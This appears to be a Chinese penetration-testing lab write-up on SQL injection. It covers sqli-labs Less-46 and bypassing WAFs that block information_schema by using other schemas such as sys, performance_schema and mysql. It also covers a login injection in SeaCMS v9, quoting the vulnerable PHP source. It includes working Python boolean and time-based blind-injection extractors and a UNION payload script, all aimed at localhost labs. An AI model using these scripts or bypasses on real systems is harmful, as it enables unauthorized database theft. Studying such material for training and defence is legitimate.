渗透测试(WAF过滤information_schema库的绕过,sqllib-46关,海洋cms9版本的注入)
1.sqlin-lib 46关
打开网站配置文件发现
此网站的对ID进行了排序,我们可以知道,order by接不了union ,那我们可以通过测试sort,rond等函数,观察网页的反馈来判断我们的盲注是否正确
我们发现
当参数有sort来排序时,我们获得的回显
对于布尔盲注
import requests
from bs4 import BeautifulSoup
# 函数:解析响应内容
def get_content(resp):
# 使用 BeautifulSoup 解析 HTML
soup = BeautifulSoup(resp.text, 'html.parser')
# 查找特定的 HTML 元素,根据目标页面的结构进行调整
username_elem = soup.select_one('body > div:nth-child(1) > font:nth-child(4) > tr > td:nth-child(2)')
return username_elem.text.strip() if username_elem else None
# 函数:二分查找注入
def binary_search_injection(base_url, sql_query_template, max_length=100):
result = [] # 存储结果
for i in range(1, max_length + 1):
left, right = 32, 127 # ASCII 范围
while left <= right:
mid = (left + right) // 2 # 中间值
# 构造注入 URL
url = base_url.format(sql_query=sql_query_template.format(index=i, mid_char=mid))
try:
# 发送请求
resp = requests.get(url)
content = get_content(resp)
# 根据响应内容调整搜索范围
if content == 'Dumb':
left = mid + 1
else:
right = mid - 1
except Exception as e:
print(f"请求 {url} 失败: {e}")
break
# 确定当前字符
if left <= 127 and left >= 32:
char = chr(left)
if char.isspace():
break # 空格表示结束
result.append(char)
print(''.join(result))
else:
break # 超出范围,结束
return ''.join(result)
# 主程序
if __name__ == '__main__':
# 目标 URL(包含 {sql_query} 占位符)
base_url = "http://localhost:8080/Less-46/index.php?sort={sql_query} -- "
# SQL 查询模板(爆破数据库名)
database_query = "if(ascii(substr(database(),{index},1))>{mid_char},id,username)"
# 调用函数爆破数据库名
database_name = binary_search_injection(base_url, database_query)
print(f"\nDatabase Name: {database_name}")
时间盲注
import requests
import time
def time_blind_injection(base_url, sql_query_template, max_length=100):
result = []
for i in range(1, max_length + 1):
left, right = 32, 127
char_found = False
while left <= right:
mid = (left + right) // 2
payload = sql_query_template.replace('{index}', str(i)).replace('{mid_char}', str(mid))
url = f"{base_url}?sort={payload}"
try:
start_time = time.time()
response = requests.get(url)
end_time = time.time()
elapsed_time = end_time - start_time
except Exception as e:
print(f"请求失败: {e}")
break
if elapsed_time > 5:
left = mid + 1
else:
right = mid - 1
if left <= 127 and left >= 32:
final_char = chr(left)
else:
break
result.append(final_char)
print(f"Extracted: {''.join(result)}")
return ''.join(result)
if __name__ == '__main__':
base_url = "http://localhost:8080/Less-46/index.php"
database_query_template = "if(ascii(substr(database(),{index},1))>{mid_char},sleep(5),id)"
extracted_data = time_blind_injection(base_url, database_query_template)
print(f"\nDatabase Name: {extracted_data}")
2.WAF过滤information_schema
--1.介绍
information_schema是信息数据库,其中保存着关于mysql服务器所维护的所有其他数据库的信息。在information_schema中,有数个只读表。它们实际上是视图,而不是基本表,因此,你将无法看到与之相关的任何文件,也就是information_schema说一个虚拟数据库,物理上并不存在。
获取所有数据库列表
SELECT schema_name FROM information_schema.schemata;
查询某数据库下所有表名
SELECT table_name FROM information_schema.tables WHERE table_schema = 'database_name';
表下的字段
SELECT column_name, data_type FROM information_schema.columns WHERE table_schema = 'database_name' AND table_name = 'table_name';
--2.危害
如何不屏蔽这个库,那么当骇入到网站时,网站的所有数据库(MySQL型)的信息将全部暴露,从而更容易被骇入成功
--3.屏蔽后的绕过
-1.我们最容易想到的就是我们使用UNcode等编码来混淆我们的测试代码,但是一般来说这种方式是掩耳盗铃,因为我们的代码到最后都在WAF这里原形毕露,一般来说是不行的
-2. 这个库不行,换一个库,我们可以使用其他的库来完成这个操作
比如:
performance_schema:主要存储了数据库服务的性能参数
MySQL:主要存储了系统的用户权限信息和帮助文档
sys:5.7后新增产物:information_schema和performance_schema的结合体,并以视图的形式显示出来的,能够查询出更令人容易理解的数据。
例如:
sys.schemas
、sys.tables
、sys.columns
-3.报错注入,一般来说服务器都会屏蔽回显,这个方法一般行不通
3.海洋cms9版本的注入
本地安装
1.下载解压后,放在新建文件夹里面,使用快速搭建的软件(以小皮为例子)
选择目录
在浏览器在打开index.php
然后跟着走
记住账号
设置数据库,小皮这里的账号和密码都是root
进入网站
打开登录界面,查看源代码发现
<?php
session_start();
require_once("include/common.php");
//前置跳转start
$cs=$_SERVER["REQUEST_URI"];
if($GLOBALS['cfg_mskin']==3 AND $GLOBALS['isMobile']==1){header("location:$cfg_mhost$cs");}
if($GLOBALS['cfg_mskin']==4 AND $GLOBALS['isMobile']==1){header("location:$cfg_mhost");}
//前置跳转end
require_once(sea_INC."/main.class.php");
if($cfg_user==0)
{
ShowMsg('系统已关闭会员功能!','index.php');
exit();
}
$hashstr=md5($cfg_dbpwd.$cfg_dbname.$cfg_dbuser); //构造session安全码
$svali = $_SESSION['sea_ckstr'];
if($dopost=='login')
{
if($cfg_feedback_ck=='1')
{
$validate = empty($validate) ? '' : strtolower(trim($validate));
if($validate=='' || $validate != $svali)
{
ResetVdValue();
ShowMsg('验证码不正确!','-1');
exit();
}
}
if($userid=='')
{
ShowMsg('请输入用户名!','-1');
exit();
}
if($pwd=='')
{
ShowMsg('请输入密码!','-1');
exit();
}
$userid = RemoveXSS(stripslashes($userid));
$userid = addslashes(cn_substr($userid,60));
$pwd = substr(md5($pwd),5,20);
$row1=$dsql->GetOne("select * from sea_member where state=1 and username='$userid'");
if($row1['username']==$userid AND $row1['password']==$pwd)
{
//验证是否激活邮箱
require_once('data/admin/smtp.php');
if($smtpreg=='on'){
$sql="SELECT acode FROM sea_member where username= '$userid'";
$row = $dsql->GetOne($sql);
if($row['acode']!='y'){
showMsg("您的账户尚未激活,请激活后登陆!","index.php",0,100000);
exit;
}
}
$_SESSION['sea_user_id'] = $row1['id'];
$uid=$row1['id'];
$_SESSION['sea_user_name'] = $row1['username'];
if($row1['vipendtime']<time()){
$_SESSION['sea_user_group'] = 2;
$dsql->ExecuteNoneQuery("update `sea_member` set gid=2 where id=$uid");
$_SESSION['hashstr']=$hashstr;
$dsql->ExecuteNoneQuery("UPDATE `sea_member` set logincount=logincount+1 where id='$uid'");
if($row1['gid'] !=2){
ShowMsg("您购买的会员组已到期,请注意续费!<br>成功登录!","member.php",0,30000);
}else{
ShowMsg("成功登录,正在转向会员中心!","member.php",0,3000);
}
}else{
$_SESSION['sea_user_group'] = $row1['gid'];
$_SESSION['hashstr']=$hashstr;
$dsql->ExecuteNoneQuery("UPDATE `sea_member` set logincount=logincount+1 where id='$uid'");
ShowMsg("成功登录,正在转向会员中心!","member.php",0,3000);
}
exit();
}
else
{
ShowMsg("密码错误或账户已被禁用","login.php",0,3000);
exit();
}
}
else
{
$tempfile = sea_ROOT."/templets/".$GLOBALS['cfg_df_style']."/".$GLOBALS['cfg_df_html']."/login.html";
if($GLOBALS['cfg_mskin']!=0 AND $GLOBALS['cfg_mskin']!=3 AND $GLOBALS['cfg_mskin']!=4 AND $GLOBALS['isMobile']==1)
{$tempfile = sea_ROOT."/templets/".$GLOBALS['cfg_df_mstyle']."/".$GLOBALS['cfg_df_html']."/login.html";}
$content=loadFile($tempfile);
$t=$content;
$t=$mainClassObj->parseTopAndFoot($t);
$t=$mainClassObj->parseHistory($t);
$t=$mainClassObj->parseSelf($t);
$t=$mainClassObj->parseGlobal($t);
$t=$mainClassObj->parseAreaList($t);
$t=$mainClassObj->parseNewsAreaList($t);
$t=$mainClassObj->parseMenuList($t,"");
$t=$mainClassObj->parseVideoList($t,-444);
$t=$mainClassObj->parseNewsList($t,-444);
$t=$mainClassObj->parseTopicList($t);
$t=replaceCurrentTypeId($t,-444);
$t=$mainClassObj->parseIf($t);
if($cfg_feedback_ck=='1')
{$t=str_replace("{login:viewLogin}",viewLogin(),$t);}
else
{$t=str_replace("{login:viewLogin}",viewLogin2(),$t);}
$t=str_replace("{login:main}",viewMain(),$t);
$t=str_replace("{seacms:runinfo}",getRunTime($t1),$t);
$t=str_replace("{seacms:member}",front_member(),$t);
echo $t;
exit();
}
function viewMain(){
$main="<div class='leaveNavInfo'><h3><span id='adminleaveword'></span>".$GLOBALS['cfg_webname']."会员登录</h3></div>";
return $main;
}
function viewLogin(){
$mystr=
"<ul>".
"<form id=\"f_login\" action=\"/".$GLOBALS['cfg_cmspath']."login.php\" method=\"post\">".
"<input type=\"hidden\" value=\"login\" name=\"dopost\" />".
"<li><input type=\"input\" name=\"userid\" autofocus class=\"form-control\" placeholder=\"用户名\" /></li>".
"<li><input type=\"password\" name=\"pwd\" class=\"form-control\" placeholder=\"密码\" /></li>".
"<li><img id=\"vdimgck\" src=\"./include/vdimgck.php\" alt=\"看不清?点击更换\" align=\"absmiddle\" class=\"pull-right\" style='width:70px; height:32px;' onClick=\"this.src=this.src+'?'\"/><input name=\"validate\" type=\"text\" placeholder=\"验证码\" style='width:50%;text-transform:uppercase;' class=\"form-control\" /> </li>".
"<li><input type=\"submit\" value=\"登录\" class=\"btn btn-block btn-warning\"/></li>".
"<li class=\"text-center\"><a class=\"text-muted\" href=\"./reg.php\">注册用户</a> <a class=\"text-muted\" href=\"./member.php?mod=repsw\">找回密码</a></li>".
"</ul>";
return $mystr;
}
function viewLogin2(){
$mystr=
"<ul>".
"<form id=\"f_login\" action=\"/".$GLOBALS['cfg_cmspath']."login.php\" method=\"post\">".
"<input type=\"hidden\" value=\"login\" name=\"dopost\" />".
"<li><input type=\"input\" name=\"userid\" autofocus class=\"form-control\" placeholder=\"用户名\" /></li>".
"<li><input type=\"password\" name=\"pwd\" class=\"form-control\" placeholder=\"密码\" /></li>".
"<li><input type=\"submit\" value=\"登录\" class=\"btn btn-block btn-warning\"/></li>".
"<li class=\"text-center\"><a class=\"text-muted\" href=\"./reg.php\">注册用户</a> <a class=\"text-muted\" href=\"./member.php?mod=repsw\">找回密码</a></li>".
"</form>".
"</ul>";
return $mystr;
}
发现,在这个地方
$row1=$dsql->GetOne("select * from sea_member where state=1 and username='$userid'");
它是直接使用用户的ID去查询的,那么我们有机会从这里下手
import requests
def get_database_names(url):
# 构造 SQL 注入查询
payload = "' UNION SELECT schema_name FROM information_schema.schemata -- -"
data = {
"dopost": "login",
"userid": payload,
"pwd": "anything"
}
try:
response = requests.post(url, data=data)
return response.text
except requests.exceptions.RequestException as e:
print(f"请求失败: {e}")
return None
def extract_database_names(response_text):
database_names = []
lines = response_text.split("\n")
for line in lines:
if "<td>" in line:
parts = line.split("<td>")
for part in parts[1:]:
name = part.split("</td>")[0].strip()
if name not in database_names and name:
database_names.append(name)
return database_names
if __name__ == '__main__':
# 目标 URL
target_url = "http://localhost:8000/login.php"
response = get_database_names(target_url)
print(response)
if response:
databases = extract_database_names(response)
print("已获取到以下数据库名称:")
for db in databases:
print(db)
else:
print("无法获取数据库名称。")
期望得到
{'username': 'admin', 'password': '5f4dcc3b5aa765d61d8327deb882cf99'}
{'username': 'user', 'password': '25d55ad283aa400af464c76d713c07ad'}
但是回显报错
<html> <body style="margin:0; padding:0"> <center><iframe width="100%" align="center" height="870" frameborder="0" scrolling="no" src="http://safe.webscan.360.cn/stopattack.html "></iframe></center> </body>